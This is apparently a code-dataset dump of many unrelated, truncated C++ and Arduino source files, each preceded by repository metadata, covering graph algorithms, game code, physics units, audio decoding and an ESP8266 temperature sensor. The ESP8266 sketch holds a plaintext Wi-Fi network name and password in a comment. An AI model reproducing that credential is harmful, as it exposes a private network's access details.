void util(vector<int> adj[],int cur,vector<int> &disc,vector<int> &low,vector<bool> &inStk,stack<int> &stk)
{
static int time=0;
disc[cur]=low[cur]=++time;
stk.push(cur);
inStk[cur]=true;
vector<int... |
8981459322badfbe002cb1a2c9a5fd9e1b6ae709 | 5521c88ebfc7124c33850283bf07d50d7ed0f837 | /TTVS/AnimationPlayer.h | 43e85565e347c85f4bce76d120439caede83018a | [
"Apache-2.0"
] | permissive | amorstoic/Crystal.TTVS | 082ae535e30b74e67bdec840d129cf5e89227f58 | 9e6c86566bfacf4fc571ad7b1308bcb7382bb213 | refs/heads/master | 2022-12-06T04:16:46.906529 | 2020-08-17T17:41:03 | 2020-08-17T17:41:03 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,519 | h | AnimationPlayer.h |
#ifndef _CST_ANIMATION_PLAYER_H_
#define _CST_ANIMATION_PLAYER_H_
#include "TalkingHead.h"
///
/// @brief The player for playing the Talking Head animation
///
class CSTHEAD_API AnimationPlayer
{
public:
///
/// @brief Playing status
///
enum STATUS
{
IDLE=0,
PLAY=1,
CAL... |
e9a6095ae8ffba32b6edda35b4e841f8bb3c1808 | c4059f063d538adbab4f7a44f8ec2638ff2ab40a | /AppCode/Source/Liberate/LiberateGameStateBase.cpp | bf1a6aff97743525a4037e6322a57261ce120b09 | [] | no_license | JamesJarrold/Liberate | 602578d59b93678144bcb5056f4ba99b24a057d0 | b92dfc86a3e6ac47334163ce88e0716f89573027 | refs/heads/master | 2022-04-18T17:16:57.268014 | 2020-03-13T15:43:11 | 2020-03-13T15:43:11 | 232,807,521 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 594 | cpp | LiberateGameStateBase.cpp | // Fill out your copyright notice in the Description page of Project Settings.
#include "LiberateGameStateBase.h"
#include "UnrealNetwork.h"
ALiberateGameStateBase::ALiberateGameStateBase()
{
bNetLoadOnClient = true;
TotalRegions = 0;
CompletedRegions = 0;
}
void ALiberateGameStateBase::GetLifetimeReplicatedPro... |
37764800b70bccaad6392ec953f38868f147e26e | 14fb9655f0cee1b821d64ba38ed843b05017ab14 | /units.hpp | b8c90824d72f46caedd00007fe789590b25ef997 | [
"MIT"
] | permissive | facontidavide/CppUnits11 | e5e1ce93646d41f9a826431f744da57964a691f6 | 36c71782b825f884abb35e35f9f81ccf27ca3348 | refs/heads/master | 2021-08-30T01:40:44.727204 | 2017-12-15T15:43:48 | 2017-12-15T15:43:48 | 114,385,939 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 16,862 | hpp | units.hpp | #pragma once
#include <ratio>
#include <cmath>
namespace Units{
namespace internal {
struct BaseQuantity{};
// The "RQuantity" class is the prototype template container class, that just holds a double value. The
// class SHOULD NOT BE INSTANTIATED directly by itself, rather use the quantity types defined below.
te... |
63fa3bbb26d5948432441443fc9bd9f36b359e82 | 3b99ca8f666baf8dae54b35471b9932153db3b26 | /hacker_earth/Mark_The_Answer.cpp | b31105e170cca7656e36e868da6b93876a92d933 | [] | no_license | govardhan100/Hackerearth | 38cd2006c48bf0dde2d7c43b34db65ff1f31aaaf | 63b69302ca76048e5a1de4972c07f8fbfd4b3589 | refs/heads/master | 2021-01-19T17:54:17.418973 | 2017-09-19T14:55:20 | 2017-09-19T14:55:20 | 101,095,615 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 331 | cpp | Mark_The_Answer.cpp | #include<iostream>
using namespace std;
int main()
{
int *A=new int[100000],N,X;
cin>>N>>X;
int temp=0;
while(temp!=N){cin>>A[temp];temp++;}
int count=0;
temp=0;
int var=0;
while(temp!=N){
if(count==2){break;}
if(A[temp]<=X){var++;}
if(A[temp]>X){count++;}
temp++;
}
cout<<var<<endl;
re... |
42b3124e9cade8741a0fcc1ec2903979e7552ad4 | 6a4ff2103eed6ba0a6341dd3ae0b7ed8e92bcb76 | /Library/Sources/GAFTextureAtlasElement.cpp | e7e47401303c22cc06549c17f17282296bed3e45 | [] | no_license | rontgen/Cocos2dxGAFPlayer | 205c65b2d5523856c25ab57932142349a9a9cba1 | 0d5ee800d8c80e89e364a9101877f17e4ebc5998 | refs/heads/release-gaf-5 | 2021-01-18T11:25:52.048723 | 2015-07-10T08:50:52 | 2015-07-10T08:50:52 | 49,653,822 | 3 | 0 | null | 2016-01-14T14:56:20 | 2016-01-14T14:56:20 | null | UTF-8 | C++ | false | false | 424 | cpp | GAFTextureAtlasElement.cpp | #include "GAFPrecompiled.h"
#include "GAFTextureAtlasElement.h"
NS_GAF_BEGIN
GAFTextureAtlasElement::GAFTextureAtlasElement()
: rotation(GAFRotation::NONE)
, name("")
{
}
void GAFTextureAtlasElement::setScale(float s)
{
scale = scaleX = scaleY = s;
}
void GAFTextureAtlasElement::setScaleX(float s)
{
scale ... |
c57bfe19440632a770382dfb9a099acfe3af7f47 | 568fe892b85f2185536090261a3e9d8318bb78df | /1_Hierarchical/graphics/Graphics/GLObject.cpp | da5ead3646374dd78b05b9acbe80bc97dfcdcd9f | [] | no_license | mariojulio-digipen/MJEngine | e5201204f9e79d8340d4364fe170f3fb90f64932 | cc6d5a734bcf45e67df538af413dc81986561138 | refs/heads/master | 2021-01-11T19:57:13.855877 | 2017-03-30T03:06:51 | 2017-03-30T03:06:51 | 79,429,806 | 0 | 1 | null | 2017-03-30T03:06:51 | 2017-01-19T08:00:19 | C++ | WINDOWS-1252 | C++ | false | false | 19,960 | cpp | GLObject.cpp | #include "GLObject.h"
#include "Transform.h"
#include "RenderManager.h"
#include "Camera3D.h"
#include "Render3D.h"
#include <gtc\matrix_transform.hpp>
#include <gtc\type_ptr.hpp>
#include <gtx\euler_angles.hpp>
#include <glm.hpp>
extern RenderManager* renderManager;
void GLObject::ResizeVaosNumber(int sections)
{... |
40bf3a31f8f96ded91e7e23a949f13ff4c63a8da | cd2097370cf9f4c4d1febbb06af37cf528736633 | /src/path.cpp | a0be3cb82f48add5ed83786ceb056ae7d55aaaaa | [
"MIT"
] | permissive | oriolorra/p3_uvic | 0d22a72e80b13e4dcaa1d53af1ae03c80d88ed65 | e6d71adddad79d1f5898f488c9e18f1aadec89e0 | refs/heads/master | 2021-01-19T21:47:55.564983 | 2017-11-08T13:08:59 | 2017-11-08T13:08:59 | 88,708,398 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,363 | cpp | path.cpp | #include "path.h"
#define PI 3.14159265
Path::Path(){}
Path::~Path(){}
// x = cx + r * cos(a)
// z = cz + r * sin(a)
bool Path::getCircleTrajectoryXZBase(const geometry_msgs::Pose& startingPose, const double radius, const double startingAngleDeg, const double endAngleDeg, const double stepDeg, const int clockwise... |
10597d2c21e9d616510bb3e9a0aea7404f699610 | cc7661edca4d5fb2fc226bd6605a533f50a2fb63 | /System.Xml/NullIterator.h | 48ce3c376ed59ee271d4d89ec0fef742c8b3a0df | [
"MIT"
] | permissive | g91/Rust-C-SDK | 698e5b573285d5793250099b59f5453c3c4599eb | d1cce1133191263cba5583c43a8d42d8d65c21b0 | refs/heads/master | 2020-03-27T05:49:01.747456 | 2017-08-23T09:07:35 | 2017-08-23T09:07:35 | 146,053,940 | 1 | 0 | null | 2018-08-25T01:13:44 | 2018-08-25T01:13:44 | null | UTF-8 | C++ | false | false | 155 | h | NullIterator.h | #pragma once
namespace System
{
namespace Xml
{
{
namespace XPath
{
class NullIterator : public SelfIterator // 0x40
{
public:
}; // size = 0x40
}
|
e558832ea81df275b979dea67f97ba0ba83b3a29 | f81124e4a52878ceeb3e4b85afca44431ce68af2 | /re20_3/processor17/35/phi | fe5fd4760a1a8640541c98365f700754f20fb703 | [] | no_license | chaseguy15/coe-of2 | 7f47a72987638e60fd7491ee1310ee6a153a5c10 | dc09e8d5f172489eaa32610e08e1ee7fc665068c | refs/heads/master | 2023-03-29T16:59:14.421456 | 2021-04-06T23:26:52 | 2021-04-06T23:26:52 | 355,040,336 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 25,995 | phi | /*--------------------------------*- C++ -*----------------------------------*\
========= |
\\ / F ield | OpenFOAM: The Open Source CFD Toolbox
\\ / O peration | Website: https://openfoam.org
\\ / A nd | Version: 7
\\/ M anipulation |
\*-------... | |
96d138a44b8b4302cf6cf54e61a561886cf55ff0 | 2937bc82baf39013855f17039954bf2f73d6def1 | /hw2_pnr/partition/partition.cpp | 5322fddebbb06002f8a174b00c8842adaf435312 | [] | no_license | magic3007/VLSI-CAD | f6d0a3faa056439869040d30ef022cbb08bf968c | bbc5ee5fdd4c5786f3c5411600853bf6a5349d41 | refs/heads/main | 2023-06-11T07:26:20.332375 | 2021-07-02T17:27:55 | 2021-07-02T17:27:55 | 348,388,994 | 3 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,061 | cpp | partition.cpp | #include "partition.h"
#include <iostream>
void Partitioner::run() {
/* TODO: 2-way FM */
}
/* You are not allowed to modify the following function */
void Partitioner::print_result() {
for (int i = 0; i < blocks; i++) {
printf("Block #%d, Node Num: %d\n", i, blockNodeNum[i]);
}
Va... |
34d50245238c9f2f8283040f4794b30c72fb4234 | 1304faa02f4f93947067b5609b1b7d3f43dd580e | /assignment.2 -15.cpp | 710330896f448e89b7a5d05b7983e383027cb95d | [] | no_license | bhavya2728/bhavya | b0fc86b3c981dfb1687d3250acbc571149dc6a3a | fd60ace974e3d6b42653516ec16804bd40972c95 | refs/heads/master | 2020-08-04T22:09:41.935966 | 2019-10-02T08:55:37 | 2019-10-02T08:55:37 | 212,294,492 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 401 | cpp | assignment.2 -15.cpp | #include<iostream>
#include<fstream>
using namespace std;
int main()
{
ifstream fin;
fin.open("FIRST.TXT");
ofstream fout;
fout.open("SECOND.TXT");
char word[30];
while(!fin.is_open())
{
fin>>word;
if(word[0]=='a'||word[0]=='e'||word[0]=='i'||word[0]=='o'||word[0]=='u')
fout<<word<<" "... |
08647361ddce6604e63a63b50e8dd73d21ff094f | 9dee979b37dee2e6a56fdce849a758992476165b | /cpp/code/src/main/cpp/StatelyCollections.cpp | 0610ba5e14d06c358901cf1f5b2624dcfc0339ea | [
"Apache-2.0"
] | permissive | rafaeltoledo/Stately | 77b9b2d4f1825aa976148741a2b51df897e63bff | 2091d59fc30a10b06b11f9550f18aac4e2df0953 | refs/heads/master | 2020-08-28T05:46:25.229632 | 2019-10-25T21:04:48 | 2019-10-25T21:04:48 | 217,611,915 | 0 | 0 | Apache-2.0 | 2019-10-25T20:43:50 | 2019-10-25T20:43:50 | null | UTF-8 | C++ | false | false | 15,953 | cpp | StatelyCollections.cpp | /*
* Copyright (C) 2019 Touchlab, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or ag... |
eee0b802d8e1d8e7e905b86bab318e7a40a0b4a7 | 6b40e9dccf2edc767c44df3acd9b626fcd586b4d | /NT/multimedia/danim/src/appel/privinc/rmvisgeo.h | 6799d6913587923339b32d313eaacd69192aa046 | [] | no_license | jjzhang166/WinNT5_src_20201004 | 712894fcf94fb82c49e5cd09d719da00740e0436 | b2db264153b80fbb91ef5fc9f57b387e223dbfc2 | refs/heads/Win2K3 | 2023-08-12T01:31:59.670176 | 2021-10-14T15:14:37 | 2021-10-14T15:14:37 | 586,134,273 | 1 | 0 | null | 2023-01-07T03:47:45 | 2023-01-07T03:47:44 | null | UTF-8 | C++ | false | false | 11,732 | h | rmvisgeo.h | #pragma once
#ifndef _RMVISGEO_H
#define _RMVISGEO_H
/*******************************************************************************
Copyright (c) 1996-1998 Microsoft Corporation. All rights reserved.
Building a geometry out of a D3D retained mode visual.
************************************************... |
cc759432120ff8c05653aa6c22a8a66e0c1a0601 | e541d2bc575eb68818c0b2eeeeeabe0de209574f | /src/YouMeCommon/opus-1.1/silk/decode_pulses.cpp | c71b30f21eb691137a2dd10e339e4db3faa98cd5 | [] | no_license | wangscript007/dev | 0d673981718993df0b971a5cd7a262cc217c6d9d | e47da659aadc220883b5e8067b25dc80108876b9 | refs/heads/master | 2022-08-05T00:53:31.844228 | 2020-05-24T05:20:44 | 2020-05-24T05:20:44 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,650 | cpp | decode_pulses.cpp | /***********************************************************************
Copyright (c) 2006-2011, Skype Limited. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
- Redistributions of source code must retai... |
3456aee5f65547c2e0ecf2b82b604c7e1b394a00 | 566e2cbda89eb6da919b10d527a40b166f0c833b | /line.h | 75dba8d548f911e27fabda25f80760b14dc8cdf9 | [] | no_license | iplayfast/arduino-scope | d1b4c4d34fc3fb41ec8ae8ac4729b089049ffbad | 2c45c33e7c0bf6586ef5ebdca36429916e5f84ae | refs/heads/master | 2016-09-11T07:10:21.936888 | 2011-07-07T08:27:31 | 2011-07-07T08:27:31 | 1,874,060 | 1 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 767 | h | line.h | #ifndef LINES_H
#define LINES_H
#include "TFuzzy.h"
#define TRACELENGTH 10000
#define CHANNELNUM 2
using namespace Crystal;
using namespace Fuzzy;
class line
{
int timemark[TRACELENGTH];
int value[CHANNELNUM][TRACELENGTH];
int end;
bool visible[CHANNELNUM];
int scale[CHANNELNUM];
ClassFuzzy channel[CHANNE... |
6d3c1aa465fef0db69fd93682e85fa5b0188ae0c | 0a171c85b541be11361505fb750a750f5b4f85ac | /C/lessons/lesson17/my_define/main.cpp | 4d470aedd7f8d5d8d8f4fc7f7338066b83eb645c | [] | no_license | ukod/StepAcademyLessons | dc55f735a17071dd35ab5348e02915ef3c293677 | 5b6e7abbd7d79f38a1c0188a09794314de05c198 | refs/heads/master | 2021-04-15T07:34:32.049511 | 2016-01-30T20:30:41 | 2016-01-30T20:30:41 | 126,335,262 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 480 | cpp | main.cpp | #include "header.h"
int main()
{
char buffer[500];
int amountOfDefines = sizeCalculateForDefineArray();
defineStruct* defineUnit = (defineStruct*) malloc (amountOfDefines*sizeof(defineStruct));
inFileSearch(defineUnit, amountOfDefines);
for(int i=0; i<amountOfDefines; ++i){
cout << "Имя: ... |
a0d91924a451c3657d850cbc929e5cd2f829b231 | c54c8d84c1309372ea506fc6f28fdee1479ad782 | /blackjack.cpp | b008c7ec4130da5e151032eb26013a0a43d03020 | [] | no_license | ronaldroldanurrutia/juegopersonal | 25c88e1ed99855c5f55bc72f9c535c15feddbccf | de464206a770e4dd577d3cdb6b852815631ea31a | refs/heads/master | 2020-01-23T21:59:18.068109 | 2016-11-25T02:25:21 | 2016-11-25T02:25:21 | 74,718,766 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,022 | cpp | blackjack.cpp | #include<iostream>
#include<windows.h>
#include<stdlib.h>
#include<stdio.h>
#include<list>
#define WIN 21
using namespace std;
int arr[13];
void formar(void){
for(int i = 0 ; i < 13; i++){
arr[i] = 4;
}
}
class jugador{
private:
int x;
int acumulado;
... |
2f2b19f318c32505f7636fec6d49e6d04ac3e0e9 | a6bb89b2ff6c1fc8c45a4f105ef528416100a360 | /examples/tut8/collision/coll1.cpp | c45546f72ae3213c7a03ae8b11f06edf7de7b017 | [] | no_license | dudochkin-victor/ngxe | 2c03717c45431b5a88a7ca4f3a70a2f23695cd63 | 34687494bcbb4a9ce8cf0a7327a7296bfa95e68a | refs/heads/master | 2016-09-06T02:28:20.233312 | 2013-01-05T19:59:28 | 2013-01-05T19:59:28 | 7,311,793 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 9,736 | cpp | coll1.cpp | /*
Copyright (C) 2005 Heinrich du Toit
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public
License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later
version.
This program is distributed in the hope... |
7f70d95a0a4d696d3716b932f62d690bd2e68e4e | a9fdca914b98ff912a249c882d63c33f6efa2706 | /temperaturewifiV5/temperaturewifiV5.ino | 0d29d9755b8d1a76baf22d461de80d5ed9b401e7 | [] | no_license | Stcasper/ChauffageElectro | cd38e2139ce9b5f43cd6b1cbb18faa752f878928 | db38f6ee79e300e52a7768a8df3b22235592d4af | refs/heads/master | 2021-11-23T03:56:13.254278 | 2021-11-20T18:32:17 | 2021-11-20T18:32:17 | 129,902,409 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 10,633 | ino | temperaturewifiV5.ino | /*
*/
#include <ESP8266WiFi.h>
#include <DHT.h>
#define DHTPIN D7 // Pin sur lequel est branché le DHT
#define DHTTYPE DHT22 // DHT 22 (AM2302)
// valeurs pour le WiFi
//const char* ssid = "rezomaizon";
//const char* password = "jepensequeprendresonpetitdejeunerlematinestmeilleur";
const... |
35a40e20a17405b04bb70c9374c4972786c24510 | c5c1afb02f83f630446f1a2c6a463e6f22bea906 | /tetris/framework/Batch.h | b63e53669ea47613d2902ba8155d3c3192928cf1 | [] | no_license | GrimMaple/tetris | 10732bd73ad8543ef066ae15e5a7468d5c983afe | 65b27b39da3a633762f9d5429ee5c76d5ed22abb | refs/heads/master | 2021-09-05T22:46:39.601419 | 2018-01-31T13:19:29 | 2018-01-31T13:19:29 | 119,689,748 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 651 | h | Batch.h | #ifndef _BATCH_H_
#define _BATCH_H_
namespace Framework
{
/*
A basic batch.
This class handles vertex arrays right: adding points and rendering stuff.
Meant to be subclassed
*/
class Batch
{
private:
float *vertex;
float *color;
// Even if those thecnically do the same, I still leave both because th... |
e32afeb58441d222611c5aca350f5a80df8647cf | 6e35c07155d1e9bb7c9fd86636754a6df6bb23e8 | /test.cpp | 8b25a8585655ea859f6eb86886b5e90603a50157 | [] | no_license | szemenyeim/RoboDNN | 3a33836878f45085d3fbb234d2d593b25ac1afb9 | 3e6584b63d619b5ea819150ebdcefc837ac0f250 | refs/heads/master | 2022-01-24T00:01:07.012297 | 2019-06-06T13:59:33 | 2019-06-06T13:59:33 | 114,206,302 | 5 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 2,054 | cpp | test.cpp | #include <iostream>
#include <fstream>
#include <cmath>
#include "Utils.h"
#include "RoboDNN.h"
#include <ctime>
int main()
{
// Create random image
int imgCnt = 100;
int W = 512, H = 384;
std::vector<float> in(W*H*3);
int rowoffs = 0;
int choffs = W*H;
for (int i = 0; i < H; i++)
{
... |
b432912c483b6ff4ab47c348e399606bf66d441a | 632f4b73cc26bbf663b43e80cce3199e5e6d33c6 | /chimera_apogee/instruments/external/apogee_cpp_chimera-1.1.0/3rd_party/include/libapogee-2.1/apogee/Alta.h | 8de5ce47741d966d75437c3ac61b200109921410 | [] | no_license | astroufsc/chimera-apogee | 069d75dc95163b7dfc7c835c01cac7b4359e8714 | 6012a7d3989a7265649b6b3af3552af562471325 | refs/heads/master | 2021-01-21T07:20:39.061438 | 2015-07-14T19:07:26 | 2015-07-14T19:07:26 | 35,913,771 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,376 | h | Alta.h | /*!
* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/.
*
* Copyright(c) 2009 Apogee Instruments, Inc.
*
* \class Alta
* \brief Derived class for the alta apogee cameras ... |
60b77a161d6c0b4993327d395a214a6b8e583190 | 67c9feb754b2e0326f376e7bc1d11a43bd0b8d0f | /Com/src/singleLepCalc.cc | 4dddf9b927616494a2d9f9dd5d43a3608cc647e9 | [] | no_license | rsyarif/LJMet | 1c83b3f4c6d5fe7297279b6d8af15016ca17f52c | a61c9de7486cc163e728c38364d0fe9aa5a0ff52 | refs/heads/master | 2016-09-10T18:06:32.600309 | 2014-12-01T16:49:53 | 2014-12-01T16:49:53 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 24,596 | cc | singleLepCalc.cc | /*
Calculator for a generic single lepton analysis
Author: Joshua Swanson, 2014
*/
#include <iostream>
#include "LJMet/Com/interface/BaseCalc.h"
#include "LJMet/Com/interface/LjmetFactory.h"
#include "LJMet/Com/interface/LjmetEventContent.h"
#include "TLorentzVector.h"
#include "EgammaAnalysis/ElectronTools/inter... |
c3474719e486b03a1d141b8feda991d32e8ccc16 | d7cb39a29813f0d5a3ac848afc6581ba9dc7b57c | /List.cpp | e6d205d50fd9d1e7da7391dce61bf950ff3221e3 | [] | no_license | lav0/List_Serialization.Saber_Interactive_Test | fb7f88bc3a6f7dfaa889977afb39170b552eb691 | c62e9fb442ec02d431e11a738c9dcadf524a0929 | refs/heads/master | 2020-04-14T21:27:17.658185 | 2015-06-09T01:54:21 | 2015-06-09T01:54:21 | 37,103,656 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 5,845 | cpp | List.cpp | //
// List.cpp
// serializedList
//
// Created by MacBook on 07.06.15.
// Copyright (c) 2015 Lav. All rights reserved.
//
#include "List.h"
#include "stdlib.h"
#include <map>
#include <vector>
//==============================================================================
std::string findBetween(
... |
780a380d912b7571ec11869a7d15ed9cfd5db33e | 6a20b2dd262880aeb20678297f1df7addab23d84 | /0_homeworks/C++/basic/2_base+/Пара_2(C style)/09 10 2017 v2/Source.cpp | cd78394ef4172f43d0018a763292b9c9c4aa1c1b | [
"MIT"
] | permissive | Team-on/works | 23124bbbff56cccbf7101f079ba7c02823d298d4 | 16978b61c0d6bcb37e910efb4b5b80e9a2460230 | refs/heads/master | 2021-04-06T01:00:15.159916 | 2019-11-06T01:57:27 | 2019-11-06T01:57:27 | 124,766,423 | 10 | 0 | MIT | 2020-08-25T10:31:56 | 2018-03-11T14:46:23 | C# | UTF-8 | C++ | false | false | 753 | cpp | Source.cpp | #include <iostream>
using namespace std;
typedef unsigned short int usi;
#define pause system("pause")
#define clear system("cls")
#define DEBUG
int main() {
setlocale(0, "rus");
usi sizeRow = 3;
usi sizeCol = 3;
#ifdef DEBUG
scanf("%d %d", &sizeRow, &sizeCol);
#endif // DEBUG
int **mtx = (int**) calloc(si... |
aac27fd0aa04ce123af26b68a3505a5ade5bd0f1 | b8b0840b8af9169841bf7fb6ee5ca549b700c364 | /datastructuresCPP.cpp | 304f6c74055e385d6d9baad22f579d2ea35a997c | [] | no_license | AugustDanell/Datastructures | 1ecb90e5b2cba11ef83c42edea144aa6df29b68b | 7f7f122fb633488fdbde96563bf332072ab41c52 | refs/heads/main | 2023-07-15T00:39:50.207550 | 2021-08-24T04:00:43 | 2021-08-24T04:00:43 | 381,686,444 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,448 | cpp | datastructuresCPP.cpp | #include <iostream>
using namespace std;
// Here we insert declarations of the classes we want to make use of and global constants:
class stack;
class graph_node;
class graph;
const int MAX_SIZE = 200000;
// ---------------------------------------------------------------------
/* STACK
* This is an adhoc implementa... |
a3041e4f8ceae84aa930e3ad5271ed9cfd4a2b71 | a4a255e94b31172b9567d91051b1c89623439e1e | /18.cpp | db04e42aee838b8966891c74959b7caa7427676d | [] | no_license | Aasthagupta03/coding_practice | 44bd7a141a211bfd235c8c45376c118266ce3b99 | 832137477ae4899c4dd7345697abc7c9aefa033c | refs/heads/main | 2023-09-04T10:00:34.635948 | 2021-10-19T17:26:33 | 2021-10-19T17:26:33 | 367,816,603 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 538 | cpp | 18.cpp | // C++ implementation of simple method to find count of
// pairs with given sum.
#include <bits/stdc++.h>
using namespace std;
int pairsCount(int arr[], int n, int sum)
{
unordered_map<int, int> m;
for (int i = 0; i < n; i++)
m[arr[i]]++;
int tcount = 0;
for (int i = 0; i < n; i++) {
tcount += m[sum - arr[i... |
3dfd33e4fc7a470f4adab9c38bf9b283b7b0d96b | 3b6e22060e9a147b7c2695f449556abf71a8f204 | /GODAWare/9_2_final_oneGODAWare_8_8/CalibrationDlg.cpp | 994dfa213c17d34ce8b84ad86b2d7d58a7d24a69 | [] | no_license | ErikHurum/S2Prog | 205b93d04e57d2dea31e50458b3c6ad6c97feae3 | 6ce48c63c992227639cd3a877f6eab2b87c9534d | refs/heads/master | 2023-08-30T19:59:14.383220 | 2023-08-29T12:29:08 | 2023-08-29T12:29:08 | 91,278,631 | 0 | 0 | null | null | null | null | GB18030 | C++ | false | false | 6,503 | cpp | CalibrationDlg.cpp | // CalibrationDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "MFC.h"
#include "CalibrationDlg.h"
// CCalibrationDlg
IMPLEMENT_DYNAMIC(CCalibrationDlg, CDialogEx)
CCalibrationDlg::CCalibrationDlg(CWnd* pParent)
:CDialogEx(IDD_CALIBRATION, pParent), validPoint(0)
{
for (int i = 0; i < 33; i++)
{
m_measuredVal[i]... |
edadc3be4e2d7ad5688dd386c69a6560cfb29606 | f6c2cef3c83c03cd197fa5e2ff136939ca86db6c | /src/pk_tree.cpp | ca8144067b00e2db826b611035b880546bf5ff5d | [] | no_license | ktp-forked-repos/SNNAHDD | 70d386a1c17741d5553582a627ff9c4b6ee79ac9 | 55e1f1d4730b5e1d29e89e57cacde9ff3c4c54a8 | refs/heads/master | 2020-05-25T19:29:35.293351 | 2019-05-10T15:41:28 | 2019-05-10T15:41:28 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 4,506 | cpp | pk_tree.cpp | #include "pk_tree.h"
#include "node.h"
#include <iostream>
#include <unordered_set>
#include <random>
#include <limits>
#include <set>
std::random_device pk_tree::rd;
std::mt19937 pk_tree::gen(rd());
pk_tree::pk_tree(std::string file_name, unsigned int K, int I_max) {
k = K;
i_max = I_max;
read_point(file_name)... |
1029adb8ea7e805e102227510f24233e409cec0e | 1f62e7ed0b1e7dba07a10f862941b31c6c5cb7c9 | /sizeofBinaryTree.cpp | 06f1b0d6dc0cbceae12b7ed2999331fa4d1680c4 | [] | no_license | LynxBerry/Algorithms | fc7cc661b283a9f6fa291ec6fb5575d1c249e5b7 | 2106492816c990b3c0ca8a58f4e65cbce24725f5 | refs/heads/master | 2022-06-20T18:30:12.101360 | 2022-01-18T08:23:35 | 2022-01-18T08:23:35 | 60,399,542 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,106 | cpp | sizeofBinaryTree.cpp | #include <iostream>
#include <string>
using std::string;
// Count the number of nodes in one binary tree
//
// This problem demonstrates simple binary tree traversal.Given a binary tree, count the number of nodes in the tree.
// int size(struct node* node) {
struct node {
int data;
struct node* left;
... |
8f1932964296c70c5c43580cb15b454cf9aa1bab | 85f25a69ec633477f539385fe7782b03a135c1d1 | /Programmers/베스트앨범.cpp | bdf949bb35cafe1e7fd6e1b352fb2751bf8ef56c | [] | no_license | jeongbbn/Algorithm | e9df157c34888d7dfe1cf3b73274b3ae7d927ea5 | dce6e25ac472929a10d8b2a96575dba1930358a1 | refs/heads/master | 2022-05-11T09:27:41.371463 | 2022-05-04T14:56:52 | 2022-05-04T14:56:52 | 251,317,835 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 1,017 | cpp | 베스트앨범.cpp | /*
프로그래머스 베스트 앨범
해시+우선순위 큐
*/
#include <string>
#include <vector>
#include <map>
#include <algorithm>
#include <queue>
using namespace std;
typedef pair<int,int>pi;
map<string,int>m;
priority_queue<pi, vector<pi>>pq[105];
int cnt[105];
vector<int> solution(vector<string> genres, vector<int> plays) {
vector<int> ... |
7754fd3b8ceec60b190b4ef061c8868b58657b63 | e43972332275bf22bae2f18a66b0b24de9b1cd23 | /@rof_addons/mod.cpp | b23fcc74c4013d6666f629fa73af0c3c391e8080 | [] | no_license | republic-of-folk/rof_addons | aceb4dcc78acf0131a2db1cf7e24e3e73241c187 | b63f57bb7767d26106a93b1637cda28e19d7abc1 | refs/heads/master | 2023-02-09T14:12:09.470736 | 2023-02-04T19:10:32 | 2023-02-04T19:10:32 | 203,146,465 | 1 | 1 | null | 2021-08-02T20:35:05 | 2019-08-19T09:58:44 | C++ | UTF-8 | C++ | false | false | 221 | cpp | mod.cpp | name = "Republic of Folk Addons";
picture = "\x\rof\addons\main\rof.paa";
hidePicture = "false";
hideName = "false";
actionName = "Website";
action = "https://republicoffolk.org/";
description = "Republic of Folk Addons"; |
9bffafbadd08352d08e388e7ff2aeb15c6dd29c6 | 1e2d8d5beb9d290c789c5a4e2db76aa9bc44320e | /src/ast/hashed.h | 04ee7f401975398c95a3f3c8d319a8c6a314ea2c | [
"Apache-2.0"
] | permissive | EOSIO/binaryen | df54ece69ea4f57ff6e91b11c58c2b47832e5183 | 16d641f62ab14df845c87a63efe4d991b508d19a | refs/heads/eosio | 2022-10-13T04:34:57.109314 | 2018-08-03T02:14:33 | 2018-08-03T02:14:33 | 122,224,952 | 16 | 40 | Apache-2.0 | 2022-09-21T17:26:11 | 2018-02-20T16:36:24 | Assembly | UTF-8 | C++ | false | false | 1,575 | h | hashed.h | /*
* Copyright 2017 WebAssembly Community Group participants
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by... |
9dcf67aa242df428f50e2ad641721b746faf4688 | 2176b5a7d2cf25e94faca45725dff02d6d74ae89 | /steps.cpp | 1a9d5cc433ecab109506bb4a711c098ea6857b6a | [] | no_license | meKhairul/test | 0e9804489cdef12d2faf99ffb635963b4beacb0d | 7481ae7e9a12a74e780b19ca2712fd01f00031c8 | refs/heads/master | 2021-06-19T06:42:07.965009 | 2021-02-11T17:58:09 | 2021-02-11T17:58:09 | 176,896,660 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 361 | cpp | steps.cpp | #include<iostream>
#include<cmath>
#include<algorithm>
using namespace std;
